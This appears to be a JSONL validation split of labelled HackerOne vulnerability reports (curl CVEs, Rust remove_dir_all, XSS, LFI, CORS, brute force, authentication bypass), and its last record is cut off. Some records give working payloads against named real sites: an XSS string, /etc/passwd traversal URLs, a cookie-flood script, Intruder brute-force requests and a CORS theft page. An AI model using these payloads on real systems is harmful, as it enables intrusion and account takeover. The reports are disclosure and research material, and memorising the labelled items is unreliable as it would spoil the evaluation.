+{"id": "770558dd4d376752adc6", "text": "[Time-of-check Time-of-use (TOCTOU) Race Condition] Time-of-check to time-of-use vulnerability in the std::fs::remove_dir_all() function of the Rust standard library\n\nThe implementation of [`std::fs::remove_dir_all()`](https://doc.rust-lang.org/std/fs/fn.remove_dir_all.html) in the Rust standard library is vulnerable to a time-of-check to time-of-use link replacement attack. This applies to all versions of Rust before 1.58.1.\n\n### Vulnerability details\nThe [documentation of `std::fs::remove_dir_all()`](https://doc.rust-lang.org/std/fs/fn.remove_dir_all.html) guarantees that the function does not follow symbolic links:\n> Removes a directory at this path, after removing all its contents. Use carefully!\n> This function does not follow symbolic links and it will simply remove the symbolic link itself.\n\nThe vulnerable implementation for Windows is in [library/std/src/sys/windows/fs.rs](https://github.com/rust-lang/rust/blob/1.58.0/library/std/src/sys/windows/fs.rs#L755-L779). For other platforms it is in [library/std/src/sys_common/fs.rs](https://github.com/rust-lang/rust/blob/1.58.0/library/std/src/sys_common/fs.rs#L28-L43). Both use a `remove_dir_all_recursive()` helper function which does the actual recursion and deletion. It opens directory by the given path and iterates the directory entries. For each directory entry it checks if the entry is a directory and recurses into it if it is. If it is not it is deleted using `std::fs::remove_file()`. On the way back up the now empty directories are deleted using `std::fs::remove_dir()`\n\nThere are two problems with this implementation if the attacker has write access to a directory which is being deleted by the privileged process:\n\n1. The type of a directory entry is checked and it is being recursed into if it is a directory. There is a short time window between the check and the opening of the subdirectory which an attacker can exploit by replacing the subdirectory with symlink causing the symlink to be followed.\n\n2. The path given to  `std::fs::remove_dir_all()` is extended with subentry paths which are then used to process subdirectories and delete directory entries. Paths are resolved by the operating system each time they are passed to a system call. If the attacker can replace a  descendent directory of the directory  passed to `remove_dir_all()` while a subdirectory of it is being processed with a symlink he can cause that symlink to be followed in subsequent filesystem operations.\n\nA proof-of-concept code demonstrating the vulnerability is attached.\n\n### Mitigation\n* Update to Rust 1.58.1 or later which includes a fixed implementation for all supported platforms except for macOS before version 10.10 and REDOX.\n* Don't use the vulnerable `std::fs::remove_dir_all()` in a privileged process or any other security-senstitive context.\n* Make sure that `std::fs::remove_dir_all()` is only used on directories not accessible to processes from other security contexts.\n\n## Impact\n\nIf the attacker has write access to a directory which is being deleted by the privileged process using `remove_dir_all()` he can trick the process to delete any sensitive files or directory subtrees that the privileged process can.", "source": "hackerone", "timestamp": "2022-03-24", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "f07647f9fb1566472df9", "text": "[Cross-site Scripting (XSS) - Reflected] CVE-2020-11022\n\n## Summary:\nCVE-2020-11022 at \" https://app.spiketrap.io/users/sign_in \"\n\n## Steps To Reproduce:\n\n Cross-Site Scripting (XSS)\n# Proof of Concept 1:\n<option><style></option></select><img src=x onerror=alert(1)></style>\n\n## Supporting Material/References:\nhttps://security.snyk.io/vuln/SNYK-JS-JQUERY-567880\nhttps://github.com/TIBCOSoftware/Augmented-Reality/issues/65\nhttps://www.exploit-db.com/exploits/49766\nhttps://www.cybersecurity-help.cz/vdb/SB2020042126\n\n  * [attachment / reference]\n\n## Impact\n\nCross site scripting attacks can have devastating consequences. Code injected into a vulnerable application can exfiltrate data or install malware on the user’s machine. Attackers can masquerade as authorized users via session cookies, allowing them to perform any action allowed by the user account.", "source": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "135ae5024b5afa6b530b", "text": "[PHP Local File Inclusion] Local File Read vulnerability on ██████████ [HtUS]\n\nKindly check screenshot ███���███: In case if scope question. Because i picked this site from DOD website list under 'dod sites'. Lets move on to the bug now :)\n\n## Summary:\nLocal File Include vulnerability on ███. Oracle Ebs Bispgrapgh is prone to a directory traversal vulnerability that can be exploited by remote attackers to access sensitive data on the server.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. to view /etc/passwd file visit https://██████/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/\n  2.  to view /etc/motd file visit https://██████████/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=motd&ifl=/etc/\n  3.  to view /etc/profile visit https://██████/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=profile&ifl=/etc/\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n* █████:\n* █████:\n* https://web.cystack.net/vulnerability/cystack.remote.oracle_ebs_bispgrapgh_file_read\n\n## Impact\n\nAn attacker could read local files on the web server that they would normally not have access to, such as the application source code or configuration files containing sensitive information on how the website is configured.", "source": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "efc50de17254f6b5392f", "text": "[Allocation of Resources Without Limits or Throttling] CVE-2022-32205: Set-Cookie denial of service\n\n## Summary:\nCurl fails to limit the number of cookies that can be set by a single host/domain. It can easily lead to a situation where constructing the request towards a host will end up consuming more than `DYN_HTTP_REQUEST` memory, leading to instant `CURLE_OUT_OF_MEMORY`.\n\nAny host in a given domain can target any other hosts in the same domain by using domain cookies. The attack works from both `HTTP` and `HTTPS` and from unprivileged ports.\n\n## Steps To Reproduce:\n  1. Run the following python web server:\n```\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass MyServer(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        for i in range(0,256):\n            self.send_header(\"Set-Cookie\", \"f{}={}; Domain=hax.invalid\".format(i, \"A\" * 4092))\n        self.end_headers()\n\nif __name__ == \"__main__\":\n    webServer = HTTPServer((\"127.0.0.1\", 9000), MyServer)\n    try:\n        webServer.serve_forever()\n    except KeyboardInterrupt:\n        pass\n    webServer.server_close()\n ```\n  2.  `curl -c cookie.txt -b cookie.txt --connect-to evilsite.hax.invalid:80:127.0.0.1:9000 http://evilsite.hax.invalid/`\n  3.  `curl -c cookie.txt -b cookie.txt --connect-to targetedsite.hax.invalid:80:127.0.0.1:9000 http://targetedsite.hax.invalid/`\n\nThis is CWE-770: Allocation of Resources Without Limits or Throttling\n\n# Remediation ideas\nThe cookie matching being as complicated as it is makes it a bit hard to create a fix that always works fine. The request inhabits other headers as well as the cookies, so the amount of storage available for the cookies also varies per request.\n\nOne relatively \"easy\" way to mitigate this would be to limit the amount of domain cookies a domain can have. But what should be done if  `Set-Cookie` would go over this limit? Maybe flush the oldest cookies?\n\n## Impact\n\nDenial of service", "source": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "bc640b61ca4ac216da8f", "text": "[Improper Access Control - Generic] DNS rebinding in --inspect (insufficient fix of CVE-2022-32212 affecting macOS devices)\n\nThe fix for CVE-2022-32212, covered the cases for routable IP addresses, however, there exists a specific behavior on macOS devices when handling the `http://0.0.0.0` URL that allows an attacker-controlled DNS server to bypass the DNS rebinding protection by resolving hosts in the `.local` domain.\n\n[Original HackerOne report](https://hackerone.com/reports/1632921)\n\n[Node.js Blog](https://nodejs.org/en/blog/vulnerability/september-2022-security-releases/#dns-rebinding-in-inspect-insufficient-fix-of-cve-2022-32212-affecting-macos-devices-high-cve-2022-32212-cve-2018-7160)\n\n## Impact\n\nAttacker with access to a compromised DNS server or the ability to spoof its responses can gain access to the Node.js debugger, which can result in remote code execution.", "source": "hackerone", "timestamp": "2023-01-12", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "f22223c0cecc233d5b32", "text": "[Business Logic Errors] CVE-2022-32208: FTP-KRB bad message verification\n\n## Summary:\nlibcurl handles `gss_unwrap` `GSS_S_BAD_SIG` error incorrectly.  This enables malicious attacker to inject arbitrary FTP server responses to GSSAPI protected FTP control connection and/or make the client consume unrelated heap memory as a FTP command response.\n\nThe defective `krb5_decode` function  is as follows:\n ```\nstatic int\nkrb5_decode(void *app_data, void *buf, int len,\n            int level UNUSED_PARAM,\n            struct connectdata *conn UNUSED_PARAM)\n{\n  gss_ctx_id_t *context = app_data;\n  OM_uint32 maj, min;\n  gss_buffer_desc enc, dec;\n\n  (void)level;\n  (void)conn;\n\n  enc.value = buf;\n  enc.length = len;\n  maj = gss_unwrap(&min, *context, &enc, &dec, NULL, NULL);\n  if(maj != GSS_S_COMPLETE) {\n    if(len >= 4)\n      strcpy(buf, \"599 \");\n    return -1;\n  }\n\n  memcpy(buf, dec.value, dec.length);\n  len = curlx_uztosi(dec.length);\n  gss_release_buffer(&min, &dec);\n\n  return len;\n}\n```\nNote how `read_data` function will set the `buf->size` to result of the decode operation as-is without considering  possible `-1` return code and that size `buf->size`  is of type `size_t`:\n```\n/* Types needed for krb5-ftp connections */\nstruct krb5buffer {\n  void *data;\n  size_t size;\n  size_t index;\n  BIT(eof_flag);\n};\n```\n```\nstatic CURLcode read_data(struct connectdata *conn,\n                          curl_socket_t fd,\n                          struct krb5buffer *buf)\n{\n  int len;\n  CURLcode result;\n\n  result = socket_read(fd, &len, sizeof(len));\n  if(result)\n    return result;\n\n  if(len) {\n    /* only realloc if there was a length */\n    len = ntohl(len);\n    buf->data = Curl_saferealloc(buf->data, len);\n  }\n  if(!len || !buf->data)\n    return CURLE_OUT_OF_MEMORY;\n\n  result = socket_read(fd, buf->data, len);\n  if(result)\n    return result;\n  buf->size = conn->mech->decode(conn->app_data, buf->data, len,\n                                 conn->data_prot, conn);\n  buf->index = 0;\n  return CURLE_OK;\n}\n```\nWhen `gss_unwrap` returns an error the `krb5_decode` code attempts to erase the buffer by prefixing the buffer with `599 \\0`. However, this doesn't take into account the case that arbitrary number of bytes can be read by `read_data` function. Hence the buffer may contain multiple lines not just one. The attacker merely needs to find a position in the FTP protocol where ftpcode `599` doesn't lead to connection termination to take over the GSSAPI protected FTP session control channel. From that point onwards the server responses can be forged by the attacker (but need to be predicted, as the attacker has no direct knowledge of the actual commands sent to the server).\n\nIt's also notable that the any `gss_unwrap` error leading to `-1` size will lead to `sec_recv` consuming unallocated heap buffer via `buffer_read` if the reading application keeps reading more data:\n```\nstatic size_t\nbuffer_read(struct krb5buffer *buf, void *data, size_t len)\n{\n  if(buf->size - buf->index < len)\n    len = buf->size - buf->index;\n  memcpy(data, (char *)buf->data + buf->index, len);\n  buf->index += len;\n  return len;\n}\n```\nThis can lead to disclosure of confidential information from the heap - depending on application this may reveal application secrets  to the user (for example via verbose error messages). This is a local leak however, so this impact is only meaningful if the information in heap is normally hidden from the user.\n\n## Impact\n\n- Injection of arbitrary FTP control channel server responses to supposedly GSSAPI protected FTP session.\n- Potential leak of local heap memory to client.\n\nThe practical impact of this vulnerability is rather low, considering the rarity of Kerberos FTP and requirement of either man in the middle or victim connecting to malicious server.", "source": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "1415e90982ba6e194b7e", "text": "[Improper Restriction of Authentication Attempts] blog/wp-json/wp/v2/users FILE is enable it will used for bruteforce attack the admin panel at   blog/wp-login.php\n\nhello team,\n\nThe file v2/users at https://happynumbers.com/blog/wp-json/wp/v2/users/ is enabled and this give the attacker many users names like ```admin``` ```adam``` ```Alexa``` ```Alina``` ```Danny``` ```David``` ```Fedor``` ```Olga```  to use them at https://happynumbers.com/blog/wp-login.php on BRUTE FORCE attack ( because no protection against this attack)\n\n##POC:\n\n1- Go to https://happynumbers.com/blog/wp-json/wp/v2/users/ \n2- pic the ```admin``` username or any other name\n3- go to https://happynumbers.com/blog/wp-login.php and put the ```admin``` on username fields and put any password\n4- intercept the request with burpsuite and send the request to Intruder and set the payload on ```pwd``` parameter and start the brute force attack , the request will be like that:\n```\nPOST /blog/wp-login.php HTTP/2\nHost: happynumbers.com\nCookie: wordpress_test_cookie=WP%20Cookie%20check; _happy-numbers_session=ZUFYZTNURnM2cGpWRXAzRUllaUFLQzl3a0I0YUpPaWFOSWxkaTd4NHJhRWJRZFRHOGQ5VmMwc3NnM2xjUWtoUVNsSElCeHVMdURJNnJ5ZStJZFlkUFpZeXNlWUhwR1dybXBpWnVBdmpTbXN6d1VqOW9FYlJ1Z2E3VlNxS3BVaUNON2VWQ3FreDA2Rk9ySVNEQ3IzWmJ4NUpTcFY5VE5xUllzUW1FcG03eTBxMXFzUnIvelFjd0dPMXJicDVvMlJTLS1wbVhUcGorOUxQQ0ZQWmZnMHpBQVVRPT0%3D--6ace53f5da4342db8c60454a98fa5f587d271556\nContent-Length: 125\nCache-Control: max-age=0\nSec-Ch-Ua: \"Google Chrome\";v=\"95\", \"Chromium\";v=\"95\", \";Not A Brand\";v=\"99\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nOrigin: https://happynumbers.com\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: https://happynumbers.com/blog/wp-login.php?redirect_to=http%3A%2F%2Fhappynumbers-blog.herokuapp.com%2Fwp-admin%2F&reauth=1\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9,ar;q=0.8\n\nlog=admin&pwd=admina§d§min&wp-submit=Log+In&redirect_to=http%3A%2F%2Fhappynumbers-blog.herokuapp.com%2Fwp-admin%2F&testcookie=1\n```\n5- you still get this msg on the response ```The password you entered for the username admin is incorrect. ```\n6- i tried more than 100 requests and im not get blocking \n\n\n##screen shoot attached\n\n## Impact\n\nInformation Disclosure , may lead to login to the admin panel", "source": "hackerone", "timestamp": "2022-01-09", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "928ac4d28c99c141e27f", "text": "[Resource Injection] Object injection in `stripe-billing-typographic` GitHub project via /auth/login\n\n## Summary:\nIt is possible to use an object injection failure to achieve a sql injection, where attacker uses the means to bypass authentication, requiring only a valid password within the database.\n\nThe vulnerable code is:  https://github.com/stripe/stripe-billing-typographic\n\nFor a failure to occur, it is necessary that the environment is configuring with the mysql database.  \n\nThe same scenario is seen in the demonstration environment: https://typographic.io/\n\n## Steps To Reproduce:\n\n  1. Register a simple user in the application, with a password at your desire. Ex:\n```\nuser: test@test.com\npassword:123\n```\n  2. Send a request to /auth/login like this:\n```\nPOST /auth/login\n\n{\"email\":{\"email\":1},\"password\":\"1234\"}\n```\n  3. You will then see that the login was performed without the need to provide a valid user!\n\n{F1287585}\n\n\n## Supporting Material/References:\nWell, the failure occurs due to the possibility of an object reaching the query, which will be handled by a dependency called sqlstring, performing some scapes, where it will cause a confusion to the query.\n\nSqlstring will handle {,} replacing with `. \nSo your login query will be:\n```\nSELECT * FROM `accounts` WHERE `email`=`email`=1\n```\nThe sql string library is a dependency on the mysql library, which is used by knex.\n\n## Mitigation\n\nIs a simple step, use JSON.stringfy e resolve your problem, because JSON.stringfy will transform the malicious object into a string, preventing treatment during a query.\n\n## Impact\n\nThis vulnerability to the applied scenario makes it easier for the attacker to acquire accounts, as the attacker only needs to discover a valid password to gain access to the victim's account.", "source": "hackerone", "timestamp": "2023-03-06", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "0895e2844721463d2add", "text": "[Unknown] No Rate Limit On Forgot Password Page\n\n## Summary:\nAbout No rate Limiting Vulnerability:-\nNo rate limit is a flaw that doesn't limit the no. of attempts one makes on a website server to extract data.It is a vulnerability which can prove to be critical when misused by attackers.\n\n## Description:-\nI have identified that when using forget password for account, The request has no rate limiting through which i can send multiple request to the server in order to guess the correct username after that in security question also there is no rate limiting set through which i can able to guess the answer as well which can be lead to account takeover.\n\n## Steps To Reproduce:\n\n  1. Step 1-Go To This Link  https://ctr.tva.com/Login.aspx  and click on forget password page.\n  2.  Intercept This Request In Burp and send it to intruder. \n  3. add mark on username and set payload and click on start attack.\n  4.as you can see i can able to send multiple request to the server in order to guess the correct username.\n\n## Supporting Material/References:\nhttps://www.geeksforgeeks.org/no-rate-limiting-flaw-in-cyber-security\n\n## Impact\n\nAs rate limiting is not set in forget password page and security question page i can able to perform brute force attack to enumerate  valid username and correct answer for security question which can lead to breaking of authentication or can even lead to account takeover.", "source": "hackerone", "timestamp": "2023-09-11", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "9c06c885441b630fd227", "text": "[Cleartext Transmission of Sensitive Information] CVE-2022-43551: Another HSTS bypass via IDN\n\nOriginal Report:https://hackerone.com/reports/1755083\n\n## Impact\n\nHSTS bypass.", "source": "hackerone", "timestamp": "2023-02-03", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "42bc352978eee0d0ccc3", "text": "Electrolink FM/DAB/TV Transmitter SuperAdmin Hidden Functionality\n\nSeverity: high", "source": "zeroscience", "timestamp": "2023-09-30", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "8f5b4a4320bd5d4f7392", "text": "[Unknown] user can bypass password enforcement when federated sharing is enabled\n\nIf the admin forces password for link shares and federated shares are enabled, users can bypass this enforcement. Tested with Nextcloud 18.0.3\n\nSteps to reproduce:\n - enable password enforcement for link shares as admin\n - as user1 create a link share with password\n - open the link share in a separate browser session and enter the password\n - use \"add to your nextcloud\" and add the file to another nextcloud or the same nextcloud with another user.\n - login as user1, now there is a new link share without password protection. The gui shows that password is enforced, but the link has no password protection\n - copy the new created link\n\nAdditional information:\nI think the problem is, that if the share is added by \"add to your nextcloud\", the wrong share_type is set. federated shares normally use the value 6, but the value 3 is set.\n\nAdditional problem:\nUsers can bruteforce link-ids. okay this is something that takes a long time because of 62^15 combinations. But if a forced password is used, every try is protected by the brute-force protection. Just testing links isn't protected by the bruteforce protection I think. Maybe someone just gets read access to the database (or a backup of this). In this case all federated shares are leaked.\n\nSo, if password is forced for link shares, enabling federated shares will lower the security level.\n\nWhy is there no additional password or public/private-keypair used for establishing and accessing federated shares?\n\n## Impact\n\nThis is something that can be used by registered users to bypass the sharing policy.\nAn attacker that gets read access to the database can access all federated shares.", "source": "hackerone", "timestamp": "2022-06-01", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "32fc4f2fb4928bca06c0", "text": "[Authentication Bypass by Primary Weakness] CVE-2023-27538: SSH connection too eager reuse still\n\n## Summary:\nThere's a check if SSH keys match between new and existing connection when considering reuse. This check is broken due to wrong comparison:\n`#define PROTO_FAMILY_SSH  (CURLPROTO_SCP|CURLPROTO_SFTP)`\n...\n`else if(get_protocol_family(needle->handler) == PROTO_FAMILY_SSH) {`\nThis never matches as handler family is either `CURLPROTO_SCP` or `CURLPROTO_SFTP`.\n\n## Remediation\n\n* Make the code:\n`else if(get_protocol_family(needle->handler) & PROTO_FAMILY_SSH) {`\n\n## Steps To Reproduce:\n\n  1. Make two connections to the same host with different ssh keys\n\n## Impact\n\nConnection reuse when different ssh keys are used.", "source": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "de9c3da17e6fc33a6d53", "text": "[Privilege Escalation] subdomain takeover at status.hosting24.com\n\n**Domain**\n>https://status.hosting24.com\n\n**PoC**\n>https://status.hosting24.com\n\n## Impact\n\nstealing user cookies and informations", "source": "hackerone", "timestamp": "2022-05-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "393a38aaa88e251680a0", "text": "[Unknown] CORS Misconfiguration on vanillaforums.com\n\n**Summary:**\nAn cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request. If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. This bug could be used to steal users information or force the user to execute unwanted actions. As long that a legit and logged in user is lure to access a attacker controlled HTML page\n**Description:**\nCORS misconfiguration is found on vanillaforums.com as `Access-Control-Allow-Credentials: true`.\n## Steps to reproduce:\n\n1.visit [vanillaforms site](http://vanillaforums.com/).\n2. Request:\n```\nGET /wp-json HTTP/1.1\nHost: vanillaforums.com\nCookie: _vwo_uuid_v2=D2C17FB17DC81C379C832A0EDAD6B262C|1041f46ed8870bf7a805896fe658b98f; _ga=GA1.2.2133458971.1648791765; _gid=GA1.2.798514438.1648791765; _vis_opt_s=1%7C; _fbp=fb.1.1648791765308.1582273532; _gd_visitor=2007eaf6-5e90-4849-818d-c4f2e29fd209; _gd_session=e61fd9a6-07c1-4631-874e-719a1ca3a00e; _gd_svisitor=d487d3177d2c0000d5904662da000000bf8e1200; _an_uid=2530911987610499259; __hstc=125439637.938b2fb7675932b4de7b161c45b12cef.1648791767956.1648791767956.1648791767956.1; hubspotutk=938b2fb7675932b4de7b161c45b12cef; messagesUtk=c620a59d9b2441e28c027f443a66b851; _gcl_au=1.1.243191688.1648791769; __hs_opt_out=no; __hs_initial_opt_in=true; __hssc=125439637.2.1648791767956\nSec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"\nSec-Ch-Ua-Mobile: ?0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\nOrigin: evil.com\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nConnection: close\n```\nyou get an response like:\n```\nHTTP/2 200 OK\nDate: Fri, 01 Apr 2022 06:20:32 GMT\nContent-Type: application/json; charset=UTF-8\nVary: Accept-Encoding\nVary: Accept-Encoding\nX-Robots-Tag: noindex\nLink: <https://vanillaforums.com/wp-json/>; rel=\"https://api.w.org/\"\nX-Content-Type-Options: nosniff\nAccess-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link\nAccess-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type\nAllow: GET\nAccess-Control-Allow-Origin: http://evil.com\nAccess-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE\nAccess-Control-Allow-Credentials: true\nX-Powered-By: WP Engine\nX-Cacheable: SHORT\nVary: Accept-Encoding,Cookie\nCache-Control: max-age=600, must-revalidate\nX-Cache: HIT: 1\nX-Cache-Group: normal\nCf-Cache-Status: DYNAMIC\nExpect-Ct: max-age=604800, report-uri=\"https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\"\nServer: cloudflare\nCf-Ray: 6f4f38303ea13972-MAA\nAlt-Svc: h3=\":443\"; ma=86400, h3-29=\":443\"; ma=86400\n\nand some jSON code to follow...\n```\nNote:by adding the [Like](https://vanillaforums.com/wp-json/) repose from the page in the following code developed it can be exploded \n```\n<!DOCTYPE html>\n<html>\n    <head>\n        <script>\n            function cors() {\n                var xhttp=new XMLHttpRequest();\n                    xhttp.onreadystatechange= function() {\n                        if (this.readyState == 4 && this.status ==200){\n                            document.getElementById(\"emo\").innerHTML=alert(this.responseText\n                                );\n\n                        }\n                };\n                xhttp.open('GET',\"https://vanillaforums.com/wp-json/\",true);\n                xhttp.withCredentials=true;\n                xhttp.send();\n            }\n        </script>\n    </head>\n    <body>\n        <center>\n        <h", "source": "hackerone", "timestamp": "2022-09-20", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "9fbda01109b377ada822", "text": "[Business Logic Errors] CVE-2023-27533: TELNET option IAC injection\n\ncurl supports communicating using the TELNET protocol and as a part of this it offers users to pass on user name and \"telnet options\" for the server negotiation.\n\nDue to lack of proper input scrubbing and without it being the documented functionality, curl would pass on user name and telnet options to the server as provided. This could allow users to pass in carefully crafted content that pass on content or do option negotiation without the application intending to do so. In particular if an application for example allows users to provide the data or parts of the data.\n\n## Hackerone report\n#1891474\n\n## Impact\n\nAttacker being able to specify TTYPE, XDISPLOC or NEW_ENV values is able to inject unintended TELNET commands to the telnet connection. Depending on the use case of the telnet protocol, this may allow the attacker to inject  arbitrary controlling operations, or arbitrary input as if entered by the user manually.", "source": "hackerone", "timestamp": "2023-03-20", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "8b94b6645f2321d630d0", "text": "[Plaintext Storage of a Password] Storage of old passwords in plain text format\n\n## Summary:\n\nServer response from app.recordedfuture.com has old passwords for a logged in account in plain text format. Storage of password(s) in any readable format or using weak hashes put the account or system at great risk. What's interesting is how RecordedFuture store multiple passwords (not just 1 but 2 latest passwords) in a readable format. Anybody within Recorded Future has now access to those passwords and also, users who share their account access internally within their teammates during emergency investigations can get access to those passwords too.  Regardless of old or current password storing them in a plain text is a big no. \n\n## Steps To Reproduce:\n\n- Login to Recorded Future\n- Send a POST request to  https://app.recordedfuture.com/rf/kobradata/user/get/user\n- Intercept the request through a web proxy and take a look at the server response\n- Look under 'params'\n-'_password1' and '_password2' shows the old passwords in plain text\n\n  \n\n## Supporting Material/References:\n Attached is the obfuscated screenshot showing the password params\n\n## Impact\n\n-Storing passwords in plaintext is bad because it puts both the system and users at risk.\n-RF internal devs get access to accidentally look at those passwords\n- Account sharing (which happens within companies) put the seat holder at risk because the password pattern can be used elsewhere to compromise other accounts (Insider threat/malicious intention). Also, people tend to reuse the passwords", "source": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "e54387bd38d7f331fff7", "text": "[Improper Authentication - Generic] Admin Authentication Bypass Lead to Admin Account Takeover\n\nHello Team\n\nI found that i can bypass the login page of the Admin account by intercepting the respone of the login request of ```connectnb.ups.com``` subdomain and change ```status``` from ```false``` to ```true```\n\n## Steps To Reproduce:\n\n  1. Open ```https://connectnb.ups.com/Layout/login```\n  2. Enter ```Admin``` as a Username  and ```1111``` as a password \n\n{F1631133}\n\n  3. Press log in and Intercept the request in Burp\n```\nPOST /api/Account/Login/ HTTP/2\nHost: connectnb.ups.com\nCookie: __RequestVerificationToken=QebkjA4fUWqs_x5SlBpsNQLJfA_U-PO9D27S5PJ8o4WoQ7I7inEZxzHFoQ4huXpUb9jeC8L-JusQF0PU18M73AyQ-xH2jF4hJVYtxbOe5lQ1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=utf-8\nContent-Length: 38\nOrigin: https://connectnb.ups.com\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n{\"UserName\":\"admin\",\"Password\":\"1111\"}\n```\n\n  4. Intercept the response for this request in Burp by >> ```Do Intercept >>Response to this request``` and then Forward this request\n  5. Change ```status``` value from ```false``` to ```true``` and Forward the request\n\n```\nHTTP/2 200 OK\nCache-Control: no-cache,no-cache,no-store\nPragma: no-cache,no-cache\nContent-Type: application/json; charset=utf-8\nExpires: -1\nServer: \nX-Content-Type-Options: nosniff\nX-Xss-Protection: 1; mode=block\nReferrer-Policy: no-referrer\nStrict-Transport-Security: max-age=31536000; includeSubDomains;preload\nX-Frame-Options: DENY\nX-Ua-Compatible: IE=Edge\nContent-Security-Policy: script-src 'self'; object-src 'self'; frame-ancestors 'none'\nExpect-Ct: enforce, max-age=7776000, report-uri='https://connectnb.ups.com/'\nAccess-Control-Allow-Origin: https://connectnb.ups.com/\nAccess-Control-Allow-Headers: Accept, Content-Type, Origin\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS\nDate: Thu, 24 Feb 2022 03:59:01 GMT\nContent-Length: 71\n\n{\"status\":true,\"errorMessage\":\"Username and Password does not match.\"}\n```\n\n\n  6. Now open ```Report``` , ```Change Password``` and  ```Process Return``` and then Turn off the intercept of the Burp\n\n{F1631144}\n{F1631140}\n{F1631141}\n\n## Supporting Material/References:\n\nPOC Video\n\n{F1631161}\n\n## Impact\n\nThe attacker can \n- login as an admin by bypassing the authentication  \n- change the admin password to takeove the admin account\n- View the company's reports and delete them [1066 Report]\n- View processReturn", "source": "hackerone", "timestamp": "2022-06-20", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "ca437c78a44e5eb08f12", "text": "[Double Free] CVE-2023-27537: HSTS double-free\n\nOriginal Report:https://hackerone.com/reports/1897203\n\n## Impact\n\nDouble-free", "source": "hackerone", "timestamp": "2023-03-23", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "a2e877d450008642b513", "text": "[Improper Authentication - Generic] Exposure of a valid Gitlab-Workhorse JWT leading to various bad things\n\n### Summary\n\nUsing the **State** Uploading API we could potentially do a bad thing:\n- Bypass `Gitlab::Workhorse.verify_api_request!`\n\nThis was due to the fact that Workhorse clean the URL before passing it to Rails, this is elaborated in #923027. \nand **State** Api read `request.body` to append it as a file!\n\n**lib/api/terraform/state.rb**\n```ruby\n desc 'Add a new terraform state or update an existing one'\n          route_setting :authentication, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth\n          post do\n            authorize! :admin_terraform_state, user_project\n\n            data = request.body.read\n```\nThere is one very interestingly specific exploit which I've found in my researching on Geo is to un-authorizing push to any readable repository\nSince Gitlab has a pre-receive hook which check the permission even if attacker is able to bypass the Access Control in Rails part but here is pretty interesting stuff in EE:\n\n**ee/app/controllers/ee/repositories/git_http_controller.rb**\n```ruby\ndef user\n        super || geo_push_user&.user\n      end\n\n      def geo_push_user\n        @geo_push_user ||= ::Geo::PushUser.new_from_headers(request.headers)\n      